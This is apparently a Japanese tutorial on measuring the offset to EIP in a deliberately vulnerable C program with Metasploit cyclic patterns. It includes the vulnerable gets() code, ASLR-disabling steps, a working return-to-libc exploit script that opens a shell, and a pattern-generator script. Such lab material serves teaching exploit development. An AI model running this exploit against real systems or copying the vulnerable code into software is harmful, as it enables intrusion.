Metasploit patternによるEIPまでのオフセット計算

スタックバッファオーバーフロー脆弱性が存在する状況において、送り込む文字列と実際に書き変わったEIPを比べることで、EIPまでのオフセットを計算することができる。 ここでは、Metasploit pattern(あるいはcyclic pattern)と呼ばれる文字列を使ったオフセット計算をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

Metasploit Frameworkをインストールする

ここでは、Metasploit patternの生成にMetasploit付属のスクリプトを使うことにする。 ドキュメントを参考に、GithubリポジトリからMetasploitをインストールする。

$ sudo apt-get -y install \
  build-essential zlib1g zlib1g-dev \
  libxml2 libxml2-dev libxslt-dev locate \
  libreadline6-dev libcurl4-openssl-dev git-core \
  libssl-dev libyaml-dev openssl autoconf libtool \
  ncurses-dev bison curl wget postgresql \
  postgresql-contrib libpq-dev \
  libapr1 libaprutil1 libsvn1 \
  libpcap-dev

$ sudo apt-get install libsqlite3-dev  # ドキュメントから抜けている

$ sudo apt-get install ruby1.9.3       # rvmを使う代わりに直接インストール

$ cd /opt

$ sudo git clone https://github.com/rapid7/metasploit-framework.git

$ cd metasploit-framework

$ sudo gem install bundler --no-ri --no-rdoc

$ bundle install

脆弱性のあるプログラムを書いてみる

スタックバッファオーバーフロー脆弱性のあるプログラムを用意する。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    gets(buf);
    puts(buf);
    return 0;
}

DEP有効、ASLR、SSP無効にてコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector bof.c

gdbで起動し、スタックバッファオーバーフローを起こしてみる。

$ python -c 'print "A"*200'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit

スタックバッファオーバーフローによりEIPが 0x41414141 (AAAA) に書き変わった結果、セグメンテーション違反で落ちていることがわかる。

EIPまでのオフセットを計算してみる

pattern_create.rbを使うと、次のような文字列を生成することができる。

$ /opt/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

gdbを使い、この文字列を送り込んでみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/a.out
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
(gdb) quit

EIPが0x64413764に書き変わっていることがわかる。 この4バイト (0x64413764 = "\x64\x37\x41\x64" = "d7Ad") が送り込んだ文字列の何バイト目にあるかを調べることで、EIPまでのオフセットがわかる。 この計算には、同じディレクトリにあるpattern_offset.rbが使える。

$ /opt/metasploit-framework/tools/pattern_offset.rb 0x64413764
[*] Exact match at offset 112

上の結果から、112バイト目からの4バイトがEIPになっていることがわかる。

エクスプロイトコードを書いてみる

得られたオフセットを使い、Return-to-libcでシェルを起動するエクスプロイトコードを書くと次のようになる。

# exploit.py

import sys
import struct
from subprocess import Popen, PIPE

base_libc = int(sys.argv[1], 16)

offset = 112
addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"

buf = 'A' * offset
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
buf += struct.pack('<I', 0)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()

p.stdin.write('exec <&2 >&2\n')
p.wait()

このコードは、libcのベースアドレスを引数に取る。

gdbなどでlibcのベースアドレスを調べ、エクスプロイトコードを実行すると次のようになる。

$ python exploit.py 0xb7e29000
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x84\xe6\xb7\xb0\xbf\xe5\xb7\x98\xad\xf8\xb7\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

EIPが書き変わり、シェルが起動できていることが確認できた。

Pythonスクリプトによる簡易版

Metasploitを使わずに、パターン生成とオフセット計算を行うPythonスクリプトを書くと次のようになる。

# msfpattern.py

import sys
import struct

def generate():
    for x in xrange(0x41, 0x5b):
        for y in xrange(0x61, 0x7b):
            for z in xrange(0x30, 0x3a):
                yield "%c%c%c" % (x, y, z)

cmd = sys.argv[1]

if cmd == 'create':
    size = int(sys.argv[2])
    s = ''
    for x in generate():
        s += x
        if len(s) >= size:
            print s[:size]
            break
    else:
        raise Exception("size too large")
elif cmd == 'offset':
    value = int(sys.argv[2], 16)
    chunk = struct.pack('<I', value)
    s = ''
    for x in generate():
        s += x
        if chunk in s:
            print s.index(chunk)
            break
    else:
        raise Exception("not found")
$ python msfpattern.py create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

$ python msfpattern.py offset 0x64413764
112

関連リンク